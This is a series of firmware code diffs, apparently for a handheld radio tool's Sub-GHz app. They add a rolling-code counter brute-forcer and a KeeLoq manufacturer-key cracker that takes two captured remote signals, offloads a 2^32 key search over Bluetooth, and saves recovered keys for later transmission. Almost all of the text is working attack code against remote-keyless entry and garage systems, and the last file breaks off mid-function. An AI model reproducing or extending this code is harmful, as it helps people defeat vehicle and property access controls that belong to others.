#Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 64 11 93 12 0C 13 02 14 00 15 15 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00
#Custom_preset_name: AM_1
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
#Custom_preset_name: AM_2
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
# Presets used for preset hopping mode (cycles through these modulations)
#Hopping_Preset: AM650
#Hopping_Preset: FM238
#Hopping_Preset: FM476

View File

@@ -30,4 +30,7 @@ ADD_SCENE(subghz, protocol_list, ProtocolList)
ADD_SCENE(subghz, keeloq_keys, KeeloqKeys)
ADD_SCENE(subghz, keeloq_key_edit, KeeloqKeyEdit)
ADD_SCENE(subghz, psa_decrypt, PsaDecrypt)
ADD_SCENE(subghz, keeloq_decrypt, KeeloqDecrypt)
ADD_SCENE(subghz, keeloq_bf2, KeeloqBf2)
ADD_SCENE(subghz, kl_bf_cleanup, KlBfCleanup)
ADD_SCENE(subghz, counter_bf, CounterBf)

View File

@@ -5,9 +5,10 @@
#define TAG "SubGhzCounterBf"
// How many ticks to wait between transmissions (1 tick ~100ms)
#define COUNTER_BF_TX_INTERVAL_TICKS 3
#define COUNTER_BF_TX_INTERVAL_TICKS 5
typedef enum {
CounterBfStateWarning,
CounterBfStateIdle,
CounterBfStateRunning,
CounterBfStateStopped,
@@ -22,8 +23,16 @@ typedef struct {
uint32_t tick_wait;
} CounterBfContext;
#define CounterBfEventStart (0xC0)
#define CounterBfEventStop (0xC1)
#define CounterBfEventStart (0xC0)
#define CounterBfEventStop (0xC1)
#define CounterBfEventWarningOk (0xC2)
static void counter_bf_warning_callback(GuiButtonType result, InputType type, void* context) {
SubGhz* subghz = context;
if(result == GuiButtonTypeCenter && type == InputTypeShort) {
view_dispatcher_send_custom_event(subghz->view_dispatcher, CounterBfEventWarningOk);
}
}
static void counter_bf_widget_callback(GuiButtonType result, InputType type, void* context) {
SubGhz* subghz = context;
@@ -32,18 +41,36 @@ static void counter_bf_widget_callback(GuiButtonType result, InputType type, voi
}
}
static void counter_bf_draw_warning(SubGhz* subghz) {
widget_reset(subghz->widget);
widget_add_string_multiline_element(
subghz->widget,
64,
20,
AlignCenter,
AlignCenter,
FontSecondary,
"WARNING:\nThis may desync\nyour fob!");
widget_add_button_element(
subghz->widget,
GuiButtonTypeCenter,
"OK",
counter_bf_warning_callback,
subghz);
}
static void counter_bf_draw(SubGhz* subghz, CounterBfContext* ctx) {
widget_reset(subghz->widget);
FuriString* str = furi_string_alloc();
furi_string_printf(
str,
"Counter BruteForce\n"
"Cnt: 0x%08lX\n"
"Sent: %lu pkts\n"
"Start: 0x%08lX",
ctx->current_cnt,
ctx->packets_sent,
ctx->start_cnt);
"Cnt: 0x%06lX\n"
"Start: 0x%06lX\n"
"Sent: %lu",
ctx->current_cnt & 0xFFFFFF,
ctx->start_cnt & 0xFFFFFF,
ctx->packets_sent);
widget_add_string_multiline_element(
subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary, furi_string_get_cstr(str));
furi_string_free(str);
@@ -57,14 +84,12 @@ static void counter_bf_draw(SubGhz* subghz, CounterBfContext* ctx) {
}
static void counter_bf_save(SubGhz* subghz, CounterBfContext* ctx) {
// Escribir el Cnt final directamente en el archivo .sub en disco.
// No usar subghz_save_protocol_to_file() porque ese serializa el estado
// actual del encoder (que puede tener el Cnt ya incrementado internamente).
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
if(flipper_format_buffered_file_open_existing(
file_fff, furi_string_get_cstr(subghz->file_path))) {
if(!flipper_format_update_uint32(file_fff, "Cnt", &ctx->current_cnt, 1)) {
uint32_t cnt = ctx->current_cnt & 0xFFFFFF;
if(!flipper_format_update_uint32(file_fff, "Cnt", &cnt, 1)) {
FURI_LOG_E(TAG, "Failed to update Cnt in .sub file");
}
} else {
@@ -77,16 +102,15 @@ static void counter_bf_save(SubGhz* subghz, CounterBfContext* ctx) {
static void counter_bf_send(SubGhz* subghz, CounterBfContext* ctx) {
subghz_txrx_stop(subghz->txrx);
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
uint32_t delta = (ctx->current_cnt - ctx->start_cnt) & 0xFFFFFF;
furi_hal_subghz_set_rolling_counter_mult((int32_t)delta);
subghz_block_generic_global_counter_override_set(ctx->current_cnt & 0xFFFFFF);
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
uint32_t repeat = 20;
flipper_format_rewind(fff);
flipper_format_update_uint32(fff, "Repeat", &repeat, 1);
// Actualizar Cnt DESPUES de Repeat (update es secuencial en el buffer)
flipper_format_rewind(fff);
flipper_format_update_uint32(fff, "Cnt", &ctx->current_cnt, 1);
subghz_tx_start(subghz, fff);
ctx->packets_sent++;
@@ -98,42 +122,38 @@ void subghz_scene_counter_bf_on_enter(void* context) {
CounterBfContext* ctx = malloc(sizeof(CounterBfContext));
memset(ctx, 0, sizeof(CounterBfContext));
ctx->state = CounterBfStateIdle;
ctx->state = CounterBfStateWarning;
ctx->step = 1;
furi_hal_subghz_set_rolling_counter_mult(0);
subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
// FIX: Leer el Cnt DIRECTAMENTE del archivo en disco con un FlipperFormat
// propio, completamente separado del fff en memoria (que puede tener el Cnt
// modificado por TXs previas y no refleja el estado real del .sub).
{
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
if(flipper_format_buffered_file_open_existing(
file_fff, furi_string_get_cstr(subghz->file_path))) {
uint32_t cnt = 0;
if(flipper_format_read_uint32(file_fff, "Cnt", &cnt, 1)) {
ctx->current_cnt = cnt;
ctx->start_cnt = cnt;
} else {
FURI_LOG_W(TAG, "Cnt field not found in file");
}
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint32_t cnt = 0;
if(flipper_format_read_uint32(fff, "Cnt", &cnt, 1)) {
ctx->current_cnt = cnt & 0xFFFFFF;
ctx->start_cnt = cnt & 0xFFFFFF;
} else {
FURI_LOG_E(TAG, "Failed to open .sub file for Cnt read");
FURI_LOG_W(TAG, "Cnt not in fff after key_load, reading from disk");
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
if(flipper_format_buffered_file_open_existing(
file_fff, furi_string_get_cstr(subghz->file_path))) {
if(flipper_format_read_uint32(file_fff, "Cnt", &cnt, 1)) {
ctx->current_cnt = cnt & 0xFFFFFF;
ctx->start_cnt = cnt & 0xFFFFFF;
}
}
flipper_format_free(file_fff);
furi_record_close(RECORD_STORAGE);
}
flipper_format_free(file_fff);
furi_record_close(RECORD_STORAGE);
}
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneCounterBf, (uint32_t)(uintptr_t)ctx);
// Deshabilitar auto-increment del protocolo para controlar el Cnt manualmente
furi_hal_subghz_set_rolling_counter_mult(0);
// Recargar el protocolo DESPUES de haber leído el Cnt del disco,
// para preparar el fff para TX sin que pise nuestro valor leído.
subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
counter_bf_draw(subghz, ctx);
counter_bf_draw_warning(subghz);
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget);
}
@@ -144,15 +164,21 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
if(!ctx) return false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == CounterBfEventWarningOk) {
ctx->state = CounterBfStateIdle;
counter_bf_draw(subghz, ctx);
return true;
}
if(event.event == CounterBfEventStart) {
if(ctx->state == CounterBfStateWarning) return true;
if(ctx->state != CounterBfStateRunning) {
ctx->state = CounterBfStateRunning;
ctx->tick_wait = 0;
subghz->state_notifications = SubGhzNotificationStateTx;
counter_bf_send(subghz, ctx);
} else {
// FIX 2: Al detener, guardar el contador actual en el .sub
// para que al volver a emular manualmente continúe desde acá.
ctx->state = CounterBfStateStopped;
subghz_txrx_stop(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateIDLE;
@@ -167,19 +193,24 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
if(ctx->tick_wait > 0) {
ctx->tick_wait--;
} else {
ctx->current_cnt += ctx->step;
ctx->current_cnt = (ctx->current_cnt + ctx->step) & 0xFFFFFF;
counter_bf_send(subghz, ctx);
counter_bf_save(subghz, ctx);
counter_bf_draw(subghz, ctx);
}
}
return true;
} else if(event.type == SceneManagerEventTypeBack) {
if(ctx->state == CounterBfStateWarning) {
furi_hal_subghz_set_rolling_counter_mult(1);
free(ctx);
scene_manager_previous_scene(subghz->scene_manager);
return true;
}
subghz_txrx_stop(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateIDLE;
// FIX 2 (también en Back): guardar siempre al salir
counter_bf_save(subghz, ctx);
furi_hal_subghz_set_rolling_counter_mult(1);
free(ctx);
scene_manager_previous_scene(subghz->scene_manager);

View File

@@ -0,0 +1,257 @@
#include "../subghz_i.h"
#include <lib/subghz/protocols/keeloq.h>
#include <lib/subghz/blocks/math.h>
#include <dialogs/dialogs.h>
enum {
KlBf2IndexLoadSig1,
KlBf2IndexLoadSig2,
KlBf2IndexType,
KlBf2IndexStartBf,
};
static const char* kl_bf2_type_labels[] = {
"Type: Auto (6>7>8)",
"Type: 6 (Serial 1)",
"Type: 7 (Serial 2)",
"Type: 8 (Serial 3)",
};
static const uint8_t kl_bf2_type_values[] = {0, 6, 7, 8};
static bool kl_bf2_extract_key(SubGhz* subghz, uint32_t* out_fix, uint32_t* out_hop) {
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint8_t key_data[8] = {0};
if(!flipper_format_read_hex(fff, "Key", key_data, 8)) return false;
uint64_t raw = 0;
for(uint8_t i = 0; i < 8; i++) {
raw = (raw << 8) | key_data[i];
}
uint64_t reversed = subghz_protocol_blocks_reverse_key(raw, 64);
*out_fix = (uint32_t)(reversed >> 32);
*out_hop = (uint32_t)(reversed & 0xFFFFFFFF);
return true;
}
static bool kl_bf2_is_keeloq(SubGhz* subghz) {
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
FuriString* proto = furi_string_alloc();
bool ok = flipper_format_read_string(fff, "Protocol", proto) &&
furi_string_equal_str(proto, "KeeLoq");
furi_string_free(proto);
return ok;
}
static void kl_bf2_submenu_callback(void* context, uint32_t index) {
SubGhz* subghz = context;
view_dispatcher_send_custom_event(subghz->view_dispatcher, index);
}
static bool kl_bf2_load_signal(SubGhz* subghz, FuriString* out_path) {
DialogsFileBrowserOptions browser_options;
dialog_file_browser_set_basic_options(
&browser_options, SUBGHZ_APP_FILENAME_EXTENSION, &I_sub1_10px);
browser_options.base_path = SUBGHZ_APP_FOLDER;
FuriString* selected = furi_string_alloc();
furi_string_set(selected, SUBGHZ_APP_FOLDER);
bool res = dialog_file_browser_show(subghz->dialogs, selected, selected, &browser_options);
if(res) {
res = subghz_key_load(subghz, furi_string_get_cstr(selected), true);
if(res) {
furi_string_set(out_path, selected);
}
}
furi_string_free(selected);
return res;
}
static void kl_bf2_rebuild_menu(SubGhz* subghz) {
submenu_reset(subghz->submenu);
char label1[64];
char label2[64];
if(subghz->keeloq_bf2.sig1_loaded) {
FuriString* name = furi_string_alloc();
path_extract_filename(subghz->keeloq_bf2.sig1_path, name, true);
snprintf(label1, sizeof(label1), "Sig 1: %s", furi_string_get_cstr(name));
furi_string_free(name);
} else {
snprintf(label1, sizeof(label1), "Load Signal 1");
}
if(subghz->keeloq_bf2.sig2_loaded) {
FuriString* name = furi_string_alloc();
path_extract_filename(subghz->keeloq_bf2.sig2_path, name, true);
snprintf(label2, sizeof(label2), "Sig 2: %s", furi_string_get_cstr(name));
furi_string_free(name);
} else {
snprintf(label2, sizeof(label2), "Load Signal 2");
}
submenu_add_item(
subghz->submenu, label1, KlBf2IndexLoadSig1,
kl_bf2_submenu_callback, subghz);
submenu_add_item(
subghz->submenu, label2, KlBf2IndexLoadSig2,
kl_bf2_submenu_callback, subghz);
int type_idx = 0;
for(int i = 0; i < 4; i++) {
if(kl_bf2_type_values[i] == subghz->keeloq_bf2.learn_type) {
type_idx = i;
break;
}
}
submenu_add_item(
subghz->submenu, kl_bf2_type_labels[type_idx], KlBf2IndexType,
kl_bf2_submenu_callback, subghz);
if(subghz->keeloq_bf2.sig1_loaded && subghz->keeloq_bf2.sig2_loaded) {
submenu_add_item(
subghz->submenu, "Start BF", KlBf2IndexStartBf,
kl_bf2_submenu_callback, subghz);
}
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdMenu);
}
void subghz_scene_keeloq_bf2_on_enter(void* context) {
SubGhz* subghz = context;
subghz->keeloq_bf2.sig1_loaded = false;
subghz->keeloq_bf2.sig2_loaded = false;
subghz->keeloq_bf2.learn_type = 0;
kl_bf2_rebuild_menu(subghz);
}
bool subghz_scene_keeloq_bf2_on_event(void* context, SceneManagerEvent event) {
SubGhz* subghz = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == KlBf2IndexLoadSig1) {
FuriString* path = furi_string_alloc();
if(kl_bf2_load_signal(subghz, path)) {
if(!kl_bf2_is_keeloq(subghz)) {
dialog_message_show_storage_error(
subghz->dialogs, "Not a KeeLoq\nprotocol file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
uint32_t fix, hop;
if(!kl_bf2_extract_key(subghz, &fix, &hop)) {
dialog_message_show_storage_error(
subghz->dialogs, "Cannot read Key\nfrom file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
subghz->keeloq_bf2.fix = fix;
subghz->keeloq_bf2.hop1 = hop;
subghz->keeloq_bf2.serial = fix & 0x0FFFFFFF;
subghz->keeloq_bf2.sig1_loaded = true;
furi_string_set(subghz->keeloq_bf2.sig1_path, path);
subghz->keeloq_bf2.sig2_loaded = false;
}
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
} else if(event.event == KlBf2IndexLoadSig2) {
if(!subghz->keeloq_bf2.sig1_loaded) {
dialog_message_show_storage_error(
subghz->dialogs, "Load Signal 1 first");
kl_bf2_rebuild_menu(subghz);
return true;
}
FuriString* path = furi_string_alloc();
if(kl_bf2_load_signal(subghz, path)) {
if(!kl_bf2_is_keeloq(subghz)) {
dialog_message_show_storage_error(
subghz->dialogs, "Not a KeeLoq\nprotocol file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
uint32_t fix2, hop2;
if(!kl_bf2_extract_key(subghz, &fix2, &hop2)) {
dialog_message_show_storage_error(
subghz->dialogs, "Cannot read Key\nfrom file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
uint32_t serial2 = fix2 & 0x0FFFFFFF;
if(serial2 != subghz->keeloq_bf2.serial) {
dialog_message_show_storage_error(
subghz->dialogs, "Serial mismatch!\nMust be same remote");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
if(hop2 == subghz->keeloq_bf2.hop1) {
dialog_message_show_storage_error(
subghz->dialogs, "Same hop code!\nUse a different\ncapture");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
subghz->keeloq_bf2.hop2 = hop2;
subghz->keeloq_bf2.sig2_loaded = true;
furi_string_set(subghz->keeloq_bf2.sig2_path, path);
}
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
} else if(event.event == KlBf2IndexType) {
uint8_t cur = subghz->keeloq_bf2.learn_type;
if(cur == 0) cur = 6;
else if(cur == 6) cur = 7;
else if(cur == 7) cur = 8;
else cur = 0;
subghz->keeloq_bf2.learn_type = cur;
kl_bf2_rebuild_menu(subghz);
return true;
} else if(event.event == KlBf2IndexStartBf) {
if(!subghz->keeloq_bf2.sig1_loaded || !subghz->keeloq_bf2.sig2_loaded) {
return true;
}
if(!subghz_key_load(
subghz,
furi_string_get_cstr(subghz->keeloq_bf2.sig1_path),
true)) {
dialog_message_show_storage_error(
subghz->dialogs, "Cannot reload\nSignal 1");
kl_bf2_rebuild_menu(subghz);
return true;
}
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
return true;
}
}
return false;
}
void subghz_scene_keeloq_bf2_on_exit(void* context) {
SubGhz* subghz = context;
submenu_reset(subghz->submenu);
}

View File

@@ -0,0 +1,299 @@
#include "../subghz_i.h"
#include "../helpers/subghz_txrx_i.h"
#include <lib/subghz/protocols/keeloq.h>
#include <lib/subghz/protocols/keeloq_common.h>
#include <lib/subghz/blocks/math.h>
#include <lib/subghz/environment.h>
#include <lib/subghz/subghz_keystore.h>
#include <furi.h>
#include <bt/bt_service/bt.h>
#define KL_DECRYPT_EVENT_DONE (0xD2)
#define KL_DECRYPT_EVENT_CANDIDATE (0xD3)
#define KL_TOTAL_KEYS 0x100000000ULL
#define KL_MSG_BF_REQUEST 0x10
#define KL_MSG_BF_PROGRESS 0x11
#define KL_MSG_BF_RESULT 0x12
#define KL_MSG_BF_CANCEL 0x13
typedef struct {
SubGhz* subghz;
volatile bool cancel;
uint32_t start_tick;
bool success;
FuriString* result;
uint32_t fix;
uint32_t hop;
uint32_t serial;
uint8_t btn;
uint16_t disc;
uint32_t hop2;
uint32_t candidate_count;
uint64_t recovered_mfkey;
uint16_t recovered_type;
uint32_t recovered_cnt;
bool ble_offload;
} KlDecryptCtx;
static void kl_ble_data_received(uint8_t* data, uint16_t size, void* context) {
KlDecryptCtx* ctx = context;
if(size < 1 || ctx->cancel) return;
if(data[0] == KL_MSG_BF_PROGRESS && size >= 10) {
uint32_t keys_tested, keys_per_sec;
memcpy(&keys_tested, data + 2, 4);
memcpy(&keys_per_sec, data + 6, 4);
uint32_t elapsed_sec = (furi_get_tick() - ctx->start_tick) / 1000;
uint32_t remaining = (keys_tested > 0) ? (0xFFFFFFFFU - keys_tested) : 0xFFFFFFFFU;
uint32_t eta_sec = (keys_per_sec > 0) ? (remaining / keys_per_sec) : 0;
uint8_t pct = (uint8_t)((uint64_t)keys_tested * 100 / 0xFFFFFFFFULL);
subghz_view_keeloq_decrypt_update_stats(
ctx->subghz->subghz_keeloq_decrypt, pct, keys_tested, keys_per_sec, elapsed_sec, eta_sec);
} else if(data[0] == KL_MSG_BF_RESULT && size >= 26) {
uint8_t found = data[1];
if(found == 1) {
uint64_t mfkey = 0;
uint32_t cnt = 0;
memcpy(&mfkey, data + 2, 8);
memcpy(&cnt, data + 18, 4);
uint16_t learn_type = (size >= 27) ? data[26] : 6;
ctx->candidate_count++;
ctx->recovered_mfkey = mfkey;
ctx->recovered_type = learn_type;
ctx->recovered_cnt = cnt;
subghz_view_keeloq_decrypt_update_candidates(
ctx->subghz->subghz_keeloq_decrypt, ctx->candidate_count);
view_dispatcher_send_custom_event(
ctx->subghz->view_dispatcher, KL_DECRYPT_EVENT_CANDIDATE);
} else if(found == 2) {
ctx->success = (ctx->candidate_count > 0);
view_dispatcher_send_custom_event(
ctx->subghz->view_dispatcher, KL_DECRYPT_EVENT_DONE);
}
}
}
static void kl_ble_cleanup(KlDecryptCtx* ctx) {
if(!ctx->ble_offload) return;
Bt* bt = furi_record_open(RECORD_BT);
bt_set_custom_data_callback(bt, NULL, NULL);
furi_record_close(RECORD_BT);
ctx->ble_offload = false;
}
static bool kl_ble_start_offload(KlDecryptCtx* ctx) {
Bt* bt = furi_record_open(RECORD_BT);
if(!bt_is_connected(bt)) {
furi_record_close(RECORD_BT);
return false;
}
bt_set_custom_data_callback(bt, kl_ble_data_received, ctx);
uint8_t req[18];
req[0] = KL_MSG_BF_REQUEST;
req[1] = ctx->subghz->keeloq_bf2.learn_type;
memcpy(req + 2, &ctx->fix, 4);
memcpy(req + 6, &ctx->hop, 4);
memcpy(req + 10, &ctx->hop2, 4);
memcpy(req + 14, &ctx->serial, 4);
bt_custom_data_tx(bt, req, sizeof(req));
furi_record_close(RECORD_BT);
ctx->ble_offload = true;
subghz_view_keeloq_decrypt_set_status(
ctx->subghz->subghz_keeloq_decrypt, "[BT] Offloading...");
return true;
}
static void kl_decrypt_view_callback(SubGhzCustomEvent event, void* context) {
SubGhz* subghz = context;
view_dispatcher_send_custom_event(subghz->view_dispatcher, event);
}
void subghz_scene_keeloq_decrypt_on_enter(void* context) {
SubGhz* subghz = context;
KlDecryptCtx* ctx = malloc(sizeof(KlDecryptCtx));
memset(ctx, 0, sizeof(KlDecryptCtx));
ctx->subghz = subghz;
ctx->result = furi_string_alloc_set("No result");
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint8_t key_data[8] = {0};
if(flipper_format_read_hex(fff, "Key", key_data, 8)) {
uint64_t raw = 0;
for(uint8_t i = 0; i < 8; i++) {
raw = (raw << 8) | key_data[i];
}
uint64_t reversed = subghz_protocol_blocks_reverse_key(raw, 64);
ctx->fix = (uint32_t)(reversed >> 32);
ctx->hop = (uint32_t)(reversed & 0xFFFFFFFF);
}
ctx->serial = ctx->fix & 0x0FFFFFFF;
ctx->btn = ctx->fix >> 28;
ctx->disc = ctx->serial & 0x3FF;
ctx->hop2 = subghz->keeloq_bf2.sig2_loaded ? subghz->keeloq_bf2.hop2 : 0;
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneKeeloqDecrypt, (uint32_t)(uintptr_t)ctx);
subghz_view_keeloq_decrypt_reset(subghz->subghz_keeloq_decrypt);
subghz_view_keeloq_decrypt_set_callback(
subghz->subghz_keeloq_decrypt, kl_decrypt_view_callback, subghz);
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
ctx->start_tick = furi_get_tick();
if(!kl_ble_start_offload(ctx)) {
char msg[128];
snprintf(msg, sizeof(msg),
"No BLE connection!\n"
"Connect companion app\n"
"and try again.\n\n"
"Fix:0x%08lX\nHop:0x%08lX",
ctx->fix, ctx->hop);
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, false, msg);
}
}
bool subghz_scene_keeloq_decrypt_on_event(void* context, SceneManagerEvent event) {
SubGhz* subghz = context;
KlDecryptCtx* ctx = (KlDecryptCtx*)(uintptr_t)scene_manager_get_scene_state(
subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
if(!ctx) return false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == KL_DECRYPT_EVENT_CANDIDATE) {
if(!subghz->keeloq_keys_manager) {
subghz->keeloq_keys_manager = subghz_keeloq_keys_alloc();
}
char key_name[24];
snprintf(key_name, sizeof(key_name), "BF_%07lX", ctx->serial);
subghz_keeloq_keys_add(
subghz->keeloq_keys_manager,
ctx->recovered_mfkey,
KEELOQ_LEARNING_SIMPLE,
key_name);
subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
SubGhzKeystore* env_ks = subghz_environment_get_keystore(
subghz->txrx->environment);
SubGhzKeyArray_t* env_arr = subghz_keystore_get_data(env_ks);
SubGhzKey* entry = SubGhzKeyArray_push_raw(*env_arr);
entry->name = furi_string_alloc_set(key_name);
entry->key = ctx->recovered_mfkey;
entry->type = KEELOQ_LEARNING_SIMPLE;
return true;
} else if(event.event == KL_DECRYPT_EVENT_DONE) {
kl_ble_cleanup(ctx);
subghz->keeloq_bf2.sig1_loaded = false;
subghz->keeloq_bf2.sig2_loaded = false;
if(ctx->success) {
furi_string_printf(
ctx->result,
"Found %lu candidate(s)\n"
"Last: %08lX%08lX\n"
"Type:%u Cnt:%04lX\n"
"Saved to user keys",
ctx->candidate_count,
(uint32_t)(ctx->recovered_mfkey >> 32),
(uint32_t)(ctx->recovered_mfkey & 0xFFFFFFFF),
ctx->recovered_type,
ctx->recovered_cnt);
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
char mf_str[20];
snprintf(mf_str, sizeof(mf_str), "BF_%07lX", ctx->serial);
flipper_format_insert_or_update_string_cstr(fff, "Manufacture", mf_str);
uint32_t cnt_val = ctx->recovered_cnt;
flipper_format_rewind(fff);
flipper_format_insert_or_update_uint32(fff, "Cnt", &cnt_val, 1);
if(ctx->hop2 != 0) {
flipper_format_rewind(fff);
flipper_format_insert_or_update_uint32(fff, "Hop2", &ctx->hop2, 1);
}
flipper_format_rewind(fff);
subghz_protocol_decoder_base_deserialize(
subghz_txrx_get_decoder(subghz->txrx), fff);
const char* save_path = NULL;
if(subghz_path_is_file(subghz->file_path)) {
save_path = furi_string_get_cstr(subghz->file_path);
} else if(subghz_path_is_file(subghz->keeloq_bf2.sig1_path)) {
save_path = furi_string_get_cstr(subghz->keeloq_bf2.sig1_path);
}
if(save_path) {
subghz_save_protocol_to_file(
subghz,
subghz_txrx_get_fff_data(subghz->txrx),
save_path);
furi_string_set_str(subghz->file_path, save_path);
}
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, true, furi_string_get_cstr(ctx->result));
} else if(!ctx->cancel) {
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, false,
"Key NOT found.\nNo matching key in\n2^32 search space.");
} else {
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, false, "Cancelled.");
}
return true;
} else if(event.event == SubGhzCustomEventViewTransmitterBack) {
if(ctx->ble_offload) {
Bt* bt = furi_record_open(RECORD_BT);
uint8_t cancel_msg = KL_MSG_BF_CANCEL;
bt_custom_data_tx(bt, &cancel_msg, 1);
furi_record_close(RECORD_BT);
}
ctx->cancel = true;
scene_manager_previous_scene(subghz->scene_manager);
return true;
}
}
return false;
}
void subghz_scene_keeloq_decrypt_on_exit(void* context) {
SubGhz* subghz = context;
KlDecryptCtx* ctx = (KlDecryptCtx*)(uintptr_t)scene_manager_get_scene_state(
subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
if(ctx) {
kl_ble_cleanup(ctx);
ctx->cancel = true;
furi_string_free(ctx->result);
free(ctx);
scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneKeeloqDecrypt, 0);
}
}

View File

@@ -0,0 +1,141 @@
#include "../subghz_i.h"
#include <lib/subghz/protocols/keeloq_common.h>
typedef struct {
uint32_t serial;
uint32_t fix;
uint32_t hop;
uint32_t hop2;
uint8_t btn;
uint16_t disc;
size_t bf_indices[32];
size_t bf_count;
size_t valid_indices[32];
size_t valid_count;
} KlCleanupCtx;
static bool kl_cleanup_validate_hop(uint64_t key, uint32_t hop, uint8_t btn, uint16_t disc) {
uint32_t dec = subghz_protocol_keeloq_common_decrypt(hop, key);
if((dec >> 28) != btn) return false;
uint16_t dec_disc = (dec >> 16) & 0x3FF;
if(dec_disc == disc) return true;
if((dec_disc & 0xFF) == (disc & 0xFF)) return true;
return false;
}
static bool kl_cleanup_validate_key(uint64_t key, uint32_t hop1, uint32_t hop2, uint8_t btn, uint16_t disc) {
if(!kl_cleanup_validate_hop(key, hop1, btn, disc)) return false;
if(hop2 == 0) return true;
if(!kl_cleanup_validate_hop(key, hop2, btn, disc)) return false;
uint32_t dec1 = subghz_protocol_keeloq_common_decrypt(hop1, key);
uint32_t dec2 = subghz_protocol_keeloq_common_decrypt(hop2, key);
uint16_t cnt1 = dec1 & 0xFFFF;
uint16_t cnt2 = dec2 & 0xFFFF;
int diff = (int)cnt2 - (int)cnt1;
return (diff >= 1 && diff <= 256);
}
void subghz_scene_kl_bf_cleanup_on_enter(void* context) {
SubGhz* subghz = context;
KlCleanupCtx* ctx = malloc(sizeof(KlCleanupCtx));
memset(ctx, 0, sizeof(KlCleanupCtx));
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint8_t key_data[8] = {0};
if(flipper_format_read_hex(fff, "Key", key_data, 8)) {
ctx->fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
((uint32_t)key_data[2] << 8) | key_data[3];
ctx->hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
((uint32_t)key_data[6] << 8) | key_data[7];
ctx->serial = ctx->fix & 0x0FFFFFFF;
ctx->btn = ctx->fix >> 28;
ctx->disc = ctx->serial & 0x3FF;
}
ctx->hop2 = 0;
flipper_format_rewind(fff);
flipper_format_read_uint32(fff, "Hop2", &ctx->hop2, 1);
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneKlBfCleanup, (uint32_t)(uintptr_t)ctx);
if(!subghz->keeloq_keys_manager) {
subghz->keeloq_keys_manager = subghz_keeloq_keys_alloc();
}
char bf_name[24];
snprintf(bf_name, sizeof(bf_name), "BF_%07lX", ctx->serial);
size_t user_count = subghz_keeloq_keys_user_count(subghz->keeloq_keys_manager);
ctx->bf_count = 0;
ctx->valid_count = 0;
for(size_t i = 0; i < user_count && ctx->bf_count < 32; i++) {
SubGhzKey* k = subghz_keeloq_keys_get(subghz->keeloq_keys_manager, i);
if(!k || !k->name) continue;
const char* name = furi_string_get_cstr(k->name);
if(strcmp(name, bf_name) == 0) {
ctx->bf_indices[ctx->bf_count] = i;
if(kl_cleanup_validate_key(k->key, ctx->hop, ctx->hop2, ctx->btn, ctx->disc)) {
ctx->valid_indices[ctx->valid_count++] = i;
}
ctx->bf_count++;
}
}
FuriString* msg = furi_string_alloc();
